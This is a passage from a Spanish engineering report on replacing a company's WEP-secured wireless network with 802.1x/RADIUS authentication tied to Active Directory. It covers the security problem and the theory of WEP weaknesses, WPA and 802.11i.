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SUMARIO

El presente trabajo describe el disefio e implementacion del sistema de control de
acceso a una red inalambrica privada proveyendo una administracion centralizada y

basada en el estandar 802.1x.

La soluciéon implementada era necesaria debido a la vulnerabilidad (en el acceso y
seguridad) de la red inalambrica de la empresa debido a los deficientes estandares de
encriptacion usados y a la inexistencia de una administracién centralizada. El nivel de
acceso a la red inalambrica de la empresa era muy basico y presenté accesos no
autorizados y no controlados que pusieron en riesgo la seguridad de la red.

La mejora en el nivel de seguridad de la red inalambrica, tanto para las computadoras
o clientes inalambricos que pertenezcan o no al dominio de la empresa, se efectua: 1)
con los recursos disponibles de la empresa; 2) Sin hacer uso del despliegue de
certificados en los equipos clientes inalambricos, 3) Basado en la autenticacion del

usuario por contrasena.

Los beneficios del proyecto se centran en la alta seguridad, una encriptacién robusta,
transparencia al usuario, autenticacion de usuario y computadora, bajo costo y alto
rendimiento.

El proyecto permite un disefio flexible y se acomoda a la empresa debido a que sigue
un planteamiento de seguridad orientado en el directorio activo, es decir, en las cuentas
de los usuarios ya que la gran mayoria de aplicaciones en la empresa toman los
permisos segun su sistema interno o plataforma.
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INTRODUCCION

El trabajo surge por la necesidad de contar con un robusto nivel de control de acceso
a la red inalambrica de la empresa de manera que la haga segura. Previamente a la
solucién implementada, la red era vulnerable en el acceso y seguridad a la red
inalambrica debido a los deficientes estandares de encriptacién de la informacion usados
y también a la inexistencia de una administraciéon centralizada.

Luego de evaluar diversas opciones tecnolégicas se opta por disefiar e implementar
un sistema de control de acceso para la red inalambrica privada proveyendo una
administracién centralizada y basada en el estandar 802.1x.

Es asi que se proporciona control de acceso restringido a los puntos de acceso
inalambricos de la empresa teniendo en cuenta los aspectos esenciales de autenticacion,
confidencialidad e integridad. La mejora en el nivel de seguridad en la red inalambrica,
tanto para las computadoras o clientes inalambricos que pertenezcan o no al dominio de
la empresa, contempla que su implementaciéon se realizara con los recursos disponibles
de la empresa, sin hacer uso del despliegue de certificados en los equipos cliente
inalambricos y basado en la autenticacién del usuario por contrasefia.

El presente proyecto controla el acceso a los clientes inalambricos mediante el
Servicio de Autenticacion de Internet (IAS) del Controlador de Dominio y basado en los
usuarios del Directorio Activo de la empresa. De esta manera, se puede controlar el
acceso de un usuario a un recurso de la red mediante su conexién inalambrica con las
restricciones y permisos de su cuenta de dominio.

En lo concemiente a la capacidad de usuarios, la mayoria de los puntos de acceso
inalambrico se distribuyen en funcién de la cantidad de usuarios por zona. Si se establece
un margen de equipos inalambricos (computadoras portatiles), casi el 15% de los
usuarios acceden a la red mediante un punto de acceso inalambrico, por lo que
representa algo de 150 equipos inalambricos distribuidos en las sucursales de la
empresa.

El presente informe se desarrolla gracias a la experiencia adquirida durante tres afios
laborando en empresas dedicadas al rubro de la telematica. Dos de ellas en la actual
empresa Luz del Sur S.AA.

El informe de suficiente se ha desarrollado segun lo siguiente. En el Capitulo |
“Planteamiento de ingenieria del problema” se describe principalmente el problema de



ingenieria a solucionar, la necesidad a satisfacer. Se establecen en el mencionado
capitulo los objetivos de la solucién implementada, analizando la situaciéon previa y la
evaluacién de la seguridad. También se precisa el alcance del proyecto y se hace una
sintesis del mismo.

En el Capitulo Il “Marco teérico conceptual” se tocan los siguientes topicos; 1) el
estandar WEP (Privacidad Equivalente a Cableado), 2) el estandar WPA (Acceso
Protegido Wi-Fi), 3) El estandar IEEE 802.11i (WPA2), 4) El estandar IEEE 802.1x, 5) El
Protocolo de Autenticaciéon Extensible (EAP) y 6) El Directorio Activo.

En el Capitulo Il “Metodologia para la solucién del problema” se detalla el trabajo
realizado, su dimensionamiento y esquema final. Consta de cuatro partes: 1) Analisis de
la Solucion y 2) El Diseiio de la Solucion, 3) Pruebas basicas de la solucién, y 4)
Equipamiento.

En el capitulo IV “Pruebas, Presupuesto y Tiempo de Ejecucion” se describen las
pruebas comparativas de robustez entre los distintos métodos de seguridad. También se
muestra el cronograma de trabajos y los costos.

Quisiera agradecer a la empresa Luz del Sur S.A.AA por haberme autorizado la
presentaciéon de este informe de ingenieria, bajo el estricto cumplimiento de sus acuerdos

de confidencialidad, en salvaguarda de la seguridad exigida para la red descrita.



CAPITULO|
PLANTEAMIENTO DE INGENIERIA DEL PROBLEMA

En este capitulo se realiza el planteamiento de ingenieria del problema. Primeramente
se describe el problema y se expone el objetivo del trabajo, posteriormente se evalua el
problema y justifica la solucion, finalmente se precisan los alcances del informe, y se
hace una sintesis del trabajo implementado.

1.1 Descripcion del Problema

Vulnerabilidad en el acceso y seguridad de la red inalambrica de la empresa debido a
los deficientes estandares de encriptacion de la informacion usados y a la inexistencia de
una administracion centralizada.

El nivel de acceso a la red inalambrica de la empresa es muy basico y ha presentado
accesos no autorizados y no controlados de manera que pone en riesgo la seguridad de
la red.

A pesar de que las conexiones y accesos a los servidores, bases de datos y recursos
en general presentan todo un esquema de autenticacion y autorizacién para la delegacion
de permisos a las personas designadas, hay informacién que se presenta libremente a
todos los usuarios de dicha empresa y no para gente externa.

1.2 Objetivos del trabajo
Proporcionar control de acceso restringido a los puntos de acceso inalambricos de la

empresa y con la minima inversion de recursos de hardware y software, teniendo en
cuenta los siguientes aspectos esenciales:

1. Autenticacion.- Identificacion de usuarios autorizados.
2. Confidencialidad.- Informacién accesible solamente a usuarios autorizados.
3. Integridad.- Informacion libre de ser manipulada y completa.

El objetivo de brindar una mejora en el nivel de seguridad en la red inalambrica, tanto
para las computadoras o clientes inalambricos que pertenezcan o no al dominio de la
empresa, contempla que su implementacién se realizara:

1. Con los recursos disponibles de la empresa.
2. Sin hacer uso del despliegue de certificados en los equipos cliente inalambricos

3. Basado en la autenticacion del usuario por contrasenia.



1.3 Evaluacion del problema

En esta seccibn se hara la evaluacion del problema, es decir los aspectos
importantes de la justificacion de la solucion descrita. Para ello se analizara la situacion
previa y luego se hara la evaluacion de la seguridad.

1.3.1 Situacion previa

La red privada inalambrica de la empresa es una red en modo infraestructura y cuenta
con 25 puntos de acceso inalambricos en zonas donde hay gran cantidad de usuarios. El
sistema solamente cuenta con la encriptaciéon de Privacidad Equivalente a Cableado o
WEP (Wired Equivalent Privacy). Para el acceso y utiliza la clave estatica de 128 bits.

La empresa es una gran organizacion que destaca por ser una empresa privada
dedicada a la distribucién de electricidad, siendo una de las mejores del rubro, atiende a
mas de 800 mil clientes en la zona sureste de la ciudad de Lima.

Utiliza un sistema basado en aplicaciones propias desarrolladas por el area de
Informatica desde hace muchos anos y también administra a los usuarios con un
controlador de dominio con el directorio activo. Asi se tienen dos autenticaciones para el
usuario. Sin embargo, las aplicaciones desarrolladas externamente ofrecen de por si
integraciones con diferentes sistemas que manejan administracion de usuarios asi como
el almacenamiento de la informacién de la empresa. Debido a esto uno de los objetivos
de la empresa es que para futuras aplicaciones, la autenticacion y los permisos se basen
en el directorio activo, razén adicional para que el proyecto se centre en este servicio.
1.3.2 Evaluacion de seguridad

El nivel de seguridad de una red inalambrica es critico, debido a que el medio que se
comparte es el aire y no hay exclusividad en la transmision de la informacion como ocurre
en un medio alambrico o cableado. Todo el trafico es accesible a cualquier tipo de ataque
y por eso es muy vulnerable.

La seguridad de la informacion en una empresa es un aspecto primordial a tener en
cuenta ya que la misma es considerada como uno de los activos mas importantes y se
debe garantizar su confidencialidad y disponibilidad. Los nombres y direcciones de los
clientes y proveedores, los datos de contacto del personal de la empresa, las cuentas
financieras, o las ideas y disefios de propiedad intelectual o industrial forman parte de
esta informacion empresarial que la compaiiia debe proteger.

El sistema de cifrado WEP, siglas en inglés que significan Privacidad Equivalente al
Cableado, es el nivel de seguridad minimo y es ya obsoleto. WEP codifica los datos
mediante una “clave” de cifrado antes de enviarlo al aire. Sin embargo, esta clave de
seguridad es estatica, es posible que un intruso motivado irrumpa en la red mediante el

empleo de tiempo y esfuerzo que junto con las herramientas informaticas actuales no



ofrece mayor reto. Una opcién seria cambiar la clave WEP frecuentemente lo que llevaria
a un cambio manual en cada punto de acceso inalambrico pero no resulta viable a
mediano plazo.

No hay ninguna clase de control que ofrezca confiabilidad o integridad de los datos, el
acceso a los dispositivos inalambricos es permitido a personas no autorizadas, la
cobertura de los radios permiten un ataque tanto externo como interno en la empresa.

A continuaciéon se listan las principales amenazas para una red de area local
inaldmbrica corporativa:

1. Fisgonear o “Eavesdropping” (revelacion de datos).- El “escuchar’ las transmisiones
de red puede resultar en el acceso a informacidén confidencial y credenciales de usuario
desprotegidos, asi como la posibilidad del robo de identidad. Permite ademas que
intrusos sofisticados recojan informacién a cerca del ambiente Tl (Tecnologia de la
Informacioén), con lo cual pueden atacar otros sistemas.

2. Interceptaciéon y modificacion de informacion transmitida.- Si el atacante puede
obtener acceso a la red, puede utilizar una computadora maliciosa para interceptar y
modificar informacién de la red entre dos entidades legitimas.

3. Suplantaciéon de identidad (Spoofing).- El acceso a una red interna permite a un
intruso formar datos aparentemente legitimos en maneras que no serian posibles fuera
de la red, por ejemplo, un mensaje de correo electrénico con identidad suplantada. Las
personas, incluyendo los administradores de sistema, tienden a creer mas en los
desarrollos o ejecuciones originados internamente que algo proveniente de fuera de la
red corporativa.

4. Denegacién de servicio (Denial of service - DoS).- Un asaltante determinado puede
accionar un ataque de denegacion de servicio de muchas maneras. Por ejemplo, la
interrupcién de los niveles de sefial de radio puede alcanzarse con tecnologia simple
como un horno de microondas. Hay métodos de ataque mas sofisticados a los protocolos
inalambricos de bajo nivel, y ataques menos sofisticados que atacan las redes
simplemente con trafico aleatorio.

5. Amenazas accidentales.- Algunas caracteristicas de las redes inalambricas pueden
producir amenazas de manera no intencional. Un visitante que enciende su computadora
portatil puede conectarse sin quererlo a la red inalambrica de la empresa, haciéndolo una
entrada potencial para virus en la red, siempre y cuando la red inalambrica no sea lo
suficientemente segura.

6. Redes inalambricas maliciosas.- Puede darse el caso que la empresa no tenga una
red de area local inalambrica de manera oficial, sin embargo, las redes inalambricas no

administradas o autorizadas pueden ser una amenaza potencial para la red. Los



empleados que compran equipos con conexién inalambrica pueden estar abriendo un
punto vulnerable para la red no intencionalmente.

7. “Free-loading” o robo de recursos.- Un intruso puede usar la red inalambrica como un
punto de acceso a Internet. A pesar de que no causa dafnos como otras amenazas, el
robo de recurso puede disminuir el nivel de servicio disponible para los legitimos usuarios
de la red, asi como introducir virus y otras amenazas.

1.4 Alcance del trabajo

Se disefia e implementa el control de acceso a la red inalambrica privada de la
empresa proveyendo una administracion centralizada y basada en el estandar 802.1x.

El proyecto es realizado con el minimo de costo inversiéon. La implementacion se
desarrolla haciendo uso de la infraestructura ya existente sin requerir mayor gasto en
compra de equipos.

En lo concerniente a la capacidad de usuarios, la mayoria de los puntos de acceso
inalambrico se distribuyen en funcion de la cantidad de usuarios por zona. Si se establece
un margen de equipos inalambricos (computadoras portatiles), casi el 15% de los
usuarios acceden a la red mediante un punto de acceso inalambrico, por lo que
representa algo de 150 equipos inalambricos distribuidos en las sucursales de la
empresa.

La fortaleza del sistema depende de las buenas practicas de seguridad de los
usuarios, por lo que es objetivo de la empresa concientizar a los usuarios de ser
responsables de sus contrasenas, esto debido a que el control de acceso se basa en la
autenticacion del usuario.

Los beneficios del proyecto se centran en 1) alta seguridad, 2) encriptaciéon robusta,
3) transparencia, 4) autenticaciéon de usuario y computadora, 5) bajo costo y 6) alto
rendimiento, las cuales son explicadas a continuacién:

1. Alta seguridad: Provee un esquema de alta seguridad de autenticacion porque puede

utilizar certificados del cliente 0 nombres de usuarios y contrasenas.

2. Encriptacion robusta: Brinda una encriptacion robusta de la informacién de la red.

3. Transparencia: Proporciona autenticacién y conexion transparente a la red de area

local inalambrica.

4. Autenticacion de Usuario v Computadora: Permite métodos de autenticacion

separados para los usuarios y las computadoras dentro de un dominio.

5. Bajo costo: Sin costo de equipos de red.

6. Alto rendimiento: Porque la encriptacion se realiza en los dispositivos de la red
inalambrica y no en la computadora del cliente, la encriptacién de la red inalambrica no

tiene un impacto directo en el nivel de rendimiento de la computadora del cliente.



1.5 Sintesis del trabajo

El Estandar 802.1x define al usuario de la red, un dispositivo de acceso a la red
(como el punto de acceso inalambrico), y un servicio de autenticacion y autorizacion en la
forma de un servidor RADIUS.

El servidor RADIUS desempeia el trabajo de autenticar las credenciales de los
usuarios y el de autorizar el acceso de la red inaldambrica a los mismos. Se eligio el
Servicio de Autenticaciéon de Internet (IAS) de Microsoft Windows Server 2003 porque es
la implementacién Microsoft del servidor RADIUS.

El presente proyecto pretende controlar el acceso a los clientes inalambricos
mediante el Servicio de Autenticacién de Internet (IAS) del Controlador de Dominio y
basado en los usuarios del Directorio Activo de la empresa. De esta manera, se puede
controlar el acceso de un usuario a un recurso de la red mediante su conexion
inalambrica con las restricciones y permisos de su cuenta de dominio.

El triangulo de la seguridad, funcionalidad y facilidad de uso es una representacion
del balance entre seguridad, funcionalidad y la facilidad de uso de un sistema para los
usuarios. El sistema descrito en el presente proyecto esta orientado a la conectividad
inaldmbrica de los equipos de los usuarios. En general, tanto como la seguridad se
incrementa, la funcionalidad del sistema y su facilidad de empleo decrece. Ver Figura 1.1

Funcionalidad Facilidad de Uso
Figura 1.1 Triangulo de la seguridad, funcionalidad y facilidad de uso

Los profesionales en seguridad saben que un alto nivel de seguridad en todos los
sistemas dificulta su uso para los usuarios, asi como impedir su funcionalidad.

Este principio es el que se ha usado en la solucion para poder establecer
comparaciones en el tipo de autenticacion a usar. Por ello he dejado de lado el uso de
certificados, puesto que estos requeririan de 1) la instalacion de los mismos en cada
cliente inalambrico, 2) el despliegue de una infraestructura de clave publica (PKI). La
solucion propuesta no integra la autenticacién de computadora, sin embargo, si considera
su implementacion como una extension de la soluciéon en caso de requerirse.

Como parte de la migracién de los niveles de seguridad, esta debia ser transparente

para el usuario. Por ello se establecieron politcas de grupo para un grupo de



computadoras portatiles que requieran el acceso inalambrico a la red de la empresa en la
configuracion de la tarjeta de red inalambrica. Se consideré dos grupos: 1) para las
computadoras que pertenecen al dominio y 2) para las que no pertenecen al dominio
(invitados o proveedores externos).

De esta manera, la computadora que necesitara tener la configuracion
correspondiente para ingresar a la red debia pertenecer al grupo autorizado, haciendo
que el acceso sea facilmente administrable desde el servidor donde se establecen dichas
politicas, y que solamente el administrador de dominio puede manejar. Una ventaja de las
politicas de grupo es que una vez establecidas en la maquina del usuario, no pueden ser
modificadas por el mismo.

Otro aspecto importante que debe ofrecer un sistema inalambrico de conexién a una
red es, sin duda, la protecciéon de los datos que viajan desde el punto de acceso hasta el
cliente inalambrico autenticado, por tal motivo se hizo especial énfasis en el mejoramiento
de la encriptaciéon para el proyecto. Se optd asi por el Acceso Protegido Wi-Fi o WPA,
que es actualmente el estandar recomendado para la seguridad inalambrica, junto con el
estandar avanzado de cifrado o AES. En conjunto aportan la seguridad necesaria para
cumplir los maximos estandares en encriptacion de la informacion.

El proyecto permite un disefio flexible y se acomoda a la empresa debido a que sigue
un planteamiento de seguridad orientado en el directorio activo, es decir, en las cuentas
de los usuarios ya que la gran mayoria de aplicaciones en la empresa toman los
permisos segun su sistema intemo o plataforma.

El modelamiento que se realiza en este proyecto ha dejado los niveles de seguridad
para las capas superiores de las aplicaciones que sean utilizadas por el usuario para
acceder al sistema corporativo.

El modelamiento se centra en el acceso a la red y en la seguridad de ese acceso, la
seguridad después del proceso de autenticacion es responsabilidad de las aplicaciones
que van a intervenir en el trafico de la red mediante filtrado de direcciones IP,
segmentacion de red, etc.



CAPITULO Il
MARCO TEORICO CONCEPTUAL

En este capitulo se expone el soporte conceptual esencial para el entendimiento del
sistema descrito en el presente informe.

Los temas a tratar son: 1) Privacidad Equivalente a Cableado (WEP), 2) Acceso
Protegido Wi-Fi (WPA), 3) El estandar IEEE 802.11i, 4) El estandar IEEE 802.1x, 5) El
Protocolo de Autenticacién Extensible (EAP) y 6) El directorio activo
2.1. Privacidad Equivalente a Cableado (WEP)

La “Privacidad Equivalente a Cableado” (WEP — Wired Equivalente Privacy) es un
protocolo de la capa de enlace que es especificado, mas no requerido, por el estandar
802.11.

WEP esta basado en el cifrado de flujo RC4 (RC4 stream cipher), un cifrado simétrico
ampliamente usado en las aplicaciones de software. El término ‘equivalente a cableado’
denota que la seguridad proporcionada por WEP esta orientada a ser el equivalente a la
esperada en una red de area local alambrica, por supuesto, las redes LAN alambricas
pueden ser protegidas por muchos mecanismos fisicos a diferencia de las transmisiones
inalambricas.

Este protocolo fue previsto para cumplir con tres puntos en la seguridad:

a) Confidencialidad: para prevenir la captacion de informacién haciendo uso de la

encriptacion.

b) Control de acceso: a través de la opcidn de descartar paquetes encriptadas

incorrectamente y de mecanismos de autenticacion.

c) Integridad de datos: para prevenir el estropeo de las transmisiones a través del uso

de la suma de comprobacion de datos.

WEP incorpora dos tipos de proteccion: a) una llave secreta y b) la encriptacion. La
llave secreta es una contrasena simple de 5 o 13 caracteres que es compartido entre el
punto de acceso y todos los usuarios de la red inalambrica. Esta misma llave es usada en
el proceso de encriptacidbn para que asi cada paquete de informacién tenga una clave
unica.

En las secciones siguientes se desarrollan los siguientes temas: 1) Mecanismo, 2)
Debilidades y 3) Ataques previstos.



10

2.1.1 Mecanismo

El algoritmo de WEP es como sigue:
1. Una llave secreta de 40 o 104 bits es concatenada con un vector de inicializacion de
24 bits, resultando en una llave de 64 o 124 bits. El vector de inicializacién es afadido en
cada paquete para asegurar que cada uno tenga una llave RC4 diferente, dado que la
llave secreta no cambia con frecuencia.
2. Dicha llave es colocada en un Generador Numérico Pseudo-aleatorio RC4 (RC4
PRNG), resultando en una llave de flujo pseudo-aleatoria del mismo tamafno que la llave
inicial, es decir, 64 o 128 bits.
3. La informaciéon en texto plano, el mensaje, pasa a través de un algoritmo de
comprobacion de integridad resultando la suma de comprobaciéon de redundancia ciclica
(CRC), la cual es concatenada en el texto plano del mensaje para poder ser comprobada
la integridad de la informacién por parte del programa desencriptador. Esta suma de
comprobacidn notifica al receptor del mensaje si este fue alterado o no, cuando lo recibe
remueve el valor de CRC del mensaje y uno nuevo es calculado a partir del mensaje
recibido, luego se comparan para verificar que no ha habido cambios, de no ser asi, el
mensaje se considera corrupto y se desecha.
4. El vector de datos, es decir la informacién en texto plano y la suma de comprobacion
del paso anterior, es encriptado haciendo uso de un OR exclusivo (XOR) junto con la
llave de flujo pseudo-aleatoria resultante del paso 2 anterior para formar el texto cifrado.
5. El vector de inicializacion es anadido a este texto cifrado y el resultado es transmitido
por el enlace inalambrico.

Llave de 401104 bits [ = | VI 24 bits

‘ RC4

Secuencla de 64/128 bits

‘ XOR

Texto plano + | CRC

|

Texto cifrado <+ | VI 24 bits

Figura 2.1 Mecanismo WEP
El estandar 802.11 no especifica ningun tipo de manejo de la llave, por este
motivo los vendedores tienen libertad de implementar el manejo de la llave que mejor les
parezca o se adecue a ciertos criterios propios.
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2.1.2 Debilidades

Las debilidades que tiene el WEP son las siguientes: a) Manejo y tamaio de la llave,
b) El vector de inicializacion es muy corto, ¢) El algoritmo del valor de chequeo de
integridad no es apropiado y 4) Los mensajes de autenticacion son facilmente
falsificados. Estas seran explicadas a continuacién
a. Manejo y tamaiio de la llave

El manejo de la llave no es especificado en el estandar WEP; sin la interoperabilidad
del manejo de la llave, éstas tienden a durar mucho y tener una pobre calidad.

Muchas redes inalambricas que utilizan WEP tienen una llave simple entre cada nodo
de la red. Las estaciones clientes y los puntos de acceso deben ser programadas con la
misma llave WEP.

Debido a que la sincronizacién del intercambio de llaves es tediosa y dificil, las llaves
son cambiadas raramente. Ademas, el estandar 802.11 no especifica el tamafno de la
llave a excepcion de 40 bits, lo que parecié razonable para algunas aplicaciones cuando
el estandar fue escrito en 1997.

b. El vector de inicializacion es muy corto

El tamafo de 24 bits del vector de inicializacién proporciona 16,777,216 flujos de
cifrado RC4 diferentes para una llave WEP dada de cualquier tamano. El principal
problema es el reuso del vector de inicializacion. Si el cifrado de flujo RC4 para un vector
de inicializacion dado es hallado, un atacante puede desencriptar paquetes que son
encriptadas con el mismo vector de inicializacion. Desafortunadamente, WEP no
especifica como debe ser elegido el vector de inicializacién o con qué frecuencia debe de
cambiar. Algunas implementaciones empiezan desde un vector de inicializacién en cero y
se incrementa por cada paquete, regresando a cero después de la transmision de 16
millones de paquetes.

Otras implementaciones escogen el vector de inicializacién aleatoriamente, sin
embargo, esta eleccién ofrece un 50% de probabilidad de reuso en menos de 5000
paquetes enviados. Actualmente, existen muchos métodos para descubrir el flujo de
cifrado para un vector de inicializacion particular, por ejemplo, dado dos paquetes
encriptados con el mismo vector de inicializacion, el OR exclusivo de los paquetes
originales puede ser encontrado realizando un OR exclusivo entre estos dos paquetes.

b. El algoritmo del valor de chequeo de integridad no es apropiado

El valor de chequeo de integridad (ICV — Integrity Check Value) esta basado en la
comprobacion de redundancia ciclica de 32 bits (CRC-32), un algoritmo para deteccion
de errores comunes y ruido en la transmision. CRC-32 es una excelente suma de

comprobacién para detectar errores, pero una mala eleccion para generar claves
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criptograficas. El ICV CRC-32 es una funcion lineal del mensaje, o que indica que un
atacante puede modificar un mensaje encriptado y facilmente corregir el ICV para que el
mensaje parezca auténtico. Teniendo la capacidad de modificar paquetes encriptadas
permite un ilimitado numero de ataques muy simples. Sistemas mejor disefiados para
encriptacion usan algoritmos como MD5 o SHA-1 para sus ICV'’s.
d. Los mensajes de autenticacion son facilmente falsificados

El estandar 802.11 define dos formas de autenticacion: 1) Sistema Abierto (sin
autenticacién) y 2) Clave Compartida.

Estos son usados para autenticar al cliente con el punto de acceso inalambrico. La
idea era que la autenticacion era mejor que no autenticarse porque el usuario tenia que
saber la clave WEP compartida. De hecho, si se habilita la autenticacion, se puede
reducir la seguridad total de la red y hacer mas sencillo adivinar la clave WEP.

La autenticaciéon de clave compartida involucra demostrar el conocimiento de la clave
WEP compartida al encriptar una peticion. El atacante puede ver la peticion y la
respuesta y de ellos determinar el flujo RC4 usado para encriptar la respuesta, y asi usar
ese cifrado para encriptar cualquier peticion en el futuro. Asi que al monitorear una
autenticacion exitosa, se puede falsificar una autenticacion después.

Una ventaja, sin embargo, es la de reducir la habilidad del atacante de crear un
ataque de negacion de servicio (“denial of service”) enviando paquetes con basura
(encriptados con la clave equivocada) en la red.

El sistema abierto ofrece mejor seguridad. Muchos administradores de red desactivan
la autenticacion por clave compartida y utilizan otros protocolos de autenticacion, como el
802.1X que se explicara con detalle mas adelante.

2.1.3 Ataques previstos

Los siguientes ataques son consecuencia directa de las debilidades anteriormente

mencionadas:

a) Pasivo para desencriptar el trafico basado en analisis estadisticos

b) Activo para introducir nuevo trafico desde una estacion movil no autorizada, basado en
texto plano conocido

c) Activo para desencriptar trafico, basado en engadiar al punto de acceso

d) Basado en una tabla que permite una desencriptacién automatica de todo el trafico en
tiempo real.

a. Ataque pasivo para desencriptar el trafico basado en analisis estadisticos

Este ataque se deriva directamente de la observaciéon en el punto 2.1.2.b. Un
atacante pasivo que capta el trafico inalambrico puede interceptar toda la informacién

hasta que ocurra una colision del vector de inicializacién. Se puede inferir sobre el
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contenido de dos mensajes con la técnica del OR exclusivo. El trafico IP usualmente es
muy predecible e incluye mucha redundancia. Esta redundancia puede ser usada para
eliminar muchas posibilidades sobre el contenido de los mensajes. Otras conjeturas
formadas acerca del contenido de uno o ambos mensajes pueden reducir
estadisticamente el espacio de los posibles mensajes, y en algunos casos es posible
determinar el contenido exacto.

Cuando tal analisis basado en sélo dos mensajes es poco concluyente, el atacante
puede buscar mas colisiones con el mismo vector de inicializacion. Con un pequefio
factor del tiempo necesario, es posible recuperar un modesto numero de mensajes
encriptados con la misma llave, y la tasa de éxito del analisis estadistico crece
rapidamente. Una vez que se recupera en texto plano uno de los mensajes, sigue en
secuencia para todo el resto con el mismo vector de inicializacién, porque todos tienen el

mismo par de OR exclusivo conocido.

Una extensién de este ataque suele usar un ordenador conectado en Internet que
envia trafico hacia otra computadora en una red inalambrica. El contenido de ese trafico
sera conocido, y si el atacante intercepta la version encriptada de ese mensaje sobre
802.11, sera capaz de desencriptar los paquetes que usen el mismo vector de
inicializacién.

b. Ataque activo para introducir nuevo trafico desde una estacion movil no
autorizada, basado en texto plano conocido

Si el atacante conoce el texto plano exacto de un mensaje encriptado, él puede usar
ese conocimiento para construir paquetes encriptados correctamente. Este procedimiento
incluye construir un nuevo mensaje, calcular la suma de comprobacion y ejecutar tiras de
bits en el mensaje encriptado original para cambiar el texto plano en el nuevo mensaje.
La propiedad principal es mostrada en la Formula 1.1:

RCAX)® X ®Y = RCAY) (1.1)

donde la suma es un OR exclusivo. Este paquete puede ahora ser enviado al punto de

acceso o estacion movil, y sera aceptado como un paquete valido.

Una pequena modificacién de este ataque lo hace mas insidioso. Aun sin el completo
conocimiento del contenido del paquete, es posible colocar los bits seleccionados en un
mensaje y ajustar exitosamente el CRC encriptado, para obtener una versién encriptada
correcta de un paquete modificado. Si el atacante tiene un conocimiento parcial del
contenido de un paquete, puede realizar una modificacién selectiva en él, como por
ejemplo, realizar alteraciones en comandos enviados por una sesién de “Telnet’ o

interacciones con un servidor de archivos.
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c. Ataque activo para desencriptar trafico, basado en engaiar al punto de acceso.

El atacante no averigua a cerca del contenido, sino mas bien sobre las cabeceras de
los paquetes. Esta informacion es facil de obtener o adivinar, en particular, todo lo que es
necesario para averiguar es la direccion IP de destino. El atacante puede cambiar los bits
apropiados para modificar la direccion IP de destino y de esta manera enviar el paquete a
un equipo en algun lugar en Internet que él controla y transmitirlo usando una estacién
movil.

Muchas instalaciones inalambricas tienen conectividad a Internet, por esta razén este
ataque tendria mucho éxito, puesto que el paquete seria desencriptado por el punto de
acceso inalambrico que lo recibe y enviado sin encriptar a través de las pasarelas o
puertas de enlaces predeterminadas y enrutadores a la maquina del atacante, revelando
su contenido a texto plano. Incluso si se puede adivinar sobre las cabeceras TCP del
paquete, puede ser posible cambiar el puerto de destino del paquete al puerto 80, el cual
normalmente esta abierto y esta permitido de ser reenviado a través de la mayoria de los
cortafuegos actuales.

d. Ataque basado en una tabla que permite una desencriptacion automatica de todo
el trafico en tiempo real.

El pequeiio tamano del vector de inicializacién, hace que el atacante pueda crear una
tabla desencriptadora. Una vez que el atacante aprende el contenido en texto plano de
algun paquete, puede configurar la llave de flujpo RC4 generado por el vector de
inicializacion usado.

Esta llave de flujo puede ser usada para desencriptar todos los otros paquetes que
usan el mismo vector de inicializacion. Con el tiempo, usando alguna de las técnicas
descritas anteriormente, un atacante puede llegar a construir una tabla completa de
vectores de inicializacion con sus correspondientes llaves de flujo, requiriendo un
‘pequeno” gran espacio de almacenaje (aproximadamente 15 GB); una vez construida, el
atacante puede desencriptar cada paquete que es enviado por el enlace inalambrico.

2.2 Acceso Protegido Wi-Fi (WPA)

La IEEE trabajé en un nuevo estandar de seguridad de redes de area local
inalambrica llamado 802.11i, también conocido como RSN (Robust Security Network o
Red de Seguridad Robusta).

La Alianza Wi-Fi, un consorcio de los principales proveedores de Wi-Fi, tomé lo que
esencialmente seria una primera version de 802.11i, y la public6 como un estandar de la
industria conocida como WPA (Wi-Fi Protected Access — Acceso Protegido Wi-Fi). WPA
incluye un gran subconjunto de caracteristicas de 802.11i.
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WPA incluye dos modos, 1) uno es usando 802.1x y la autenticacion RADIUS
(conocido simplemente como WPA) y 2) el otro esquema mas simple para entornos
SOHO (Small Office-Home Office — Oficina Pequeia-Oficina en casa) usando una clave
pre-compartida (conocido como WPA-PSK). La llave pre-compartida es usada como una
credencial de autenticacion, por lo que si se posee esta clave, se tiene acceso autorizado
a la red inalambrica y a recibir una llave de encriptacion unica para proteger la
informacion.

WPA combina encriptacién robusta con el mecanismo de autenticacion y autorizacion
del protocolo 802.1x. Ademas la proteccion de la informacion de WPA elimina las
vulnerabilidades conocidas por WEP con lo siguiente:

a) Una unica llave de encriptacion por cada paquete.

b) Un vector de inicializacion mucho mas largo, duplicando el espacio de la llave
efectivamente al aifadir 128 bits adicionales.

c) Un valor de chequeo de la integridad de mensajes legitimado que no es vulnerable
ante la suplantacion de identidad.

d) Un contador de tramas encriptadas que es incorporado para frustrar ataques de
respuesta.

Sin embargo, como WPA usa algoritmos criptograficos similares a aquellos usados
por WEP, la implementacion en los equipos existentes puede darse con una simple
actualizacion de “firmware”.

Al publicarse la WPA, la alianza Wi-Fi fue capaz de exigir WPA para todo
equipamiento que utilice el logo Wi-Fi, y permitié a los proveedores de hardware de red
Wi-Fi a ofrecer una opcion estandarizada de alta seguridad en prevision de la publicaciéon
802.11i. WPA incluye un conjunto de caracteristicas de seguridad que son ampliamente
recomendadas para la mayoria de técnicas de seguridad actualmente disponibles.

2.3 El estandar IEEE 802.11i (WPA2)

En enero de 2001, el grupo de trabajo i (i task Group) fue creado en IEEE para
mejorar la seguridad en la autenticacién y la encriptacion de datos. En abril de 2003, la
Wi-Fi Alliance (una asociacién que promueve y certifica Wi-Fi) realizé una recomendacion
para responder a las preocupaciones empresariales ante la seguridad inalambrica. Sin
embargo, eran conscientes de que los clientes no querrian cambiar sus equipos.

En junio de 2004, la edicion final del estandar 802.11i fue adoptada y recibi6 el
nombre comercial WPA2 por parte de la alianza Wi-Fi. El estandar IEEE 802.11i introdujo
varios cambios fundamentales, como la separacion de la autenticacién de usuario de la
integridad y privacidad de los mensajes, proporcionando una arquitectura robusta vy
escalable, que sirve igualmente para las redes locales domésticas como para los grandes
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entornos de red corporativos. La nueva arquitectura para las redes inalambricas se llama
Robust Security Network (RSN) y utiliza autenticacion 802.1X, distribucién de claves
robustas y nuevos mecanismos de integridad y privacidad.

Ademas de tener una arquitectura mas compleja, RSN proporciona soluciones
seguras y escalables para la comunicacion inalambrica. Una RSN sélo aceptara
maquinas con capacidades RSN, pero IEEE 802.11i también define una red transicional
de seguridad — Transitional Security Network (TSN), arquitectura en la que pueden
participar sistemas RSN y WEP, permitiendo a los usuarios actualizar su equipo en el
futuro. Si el proceso de autenticacion o asociacion entre estaciones utiliza 4-Way
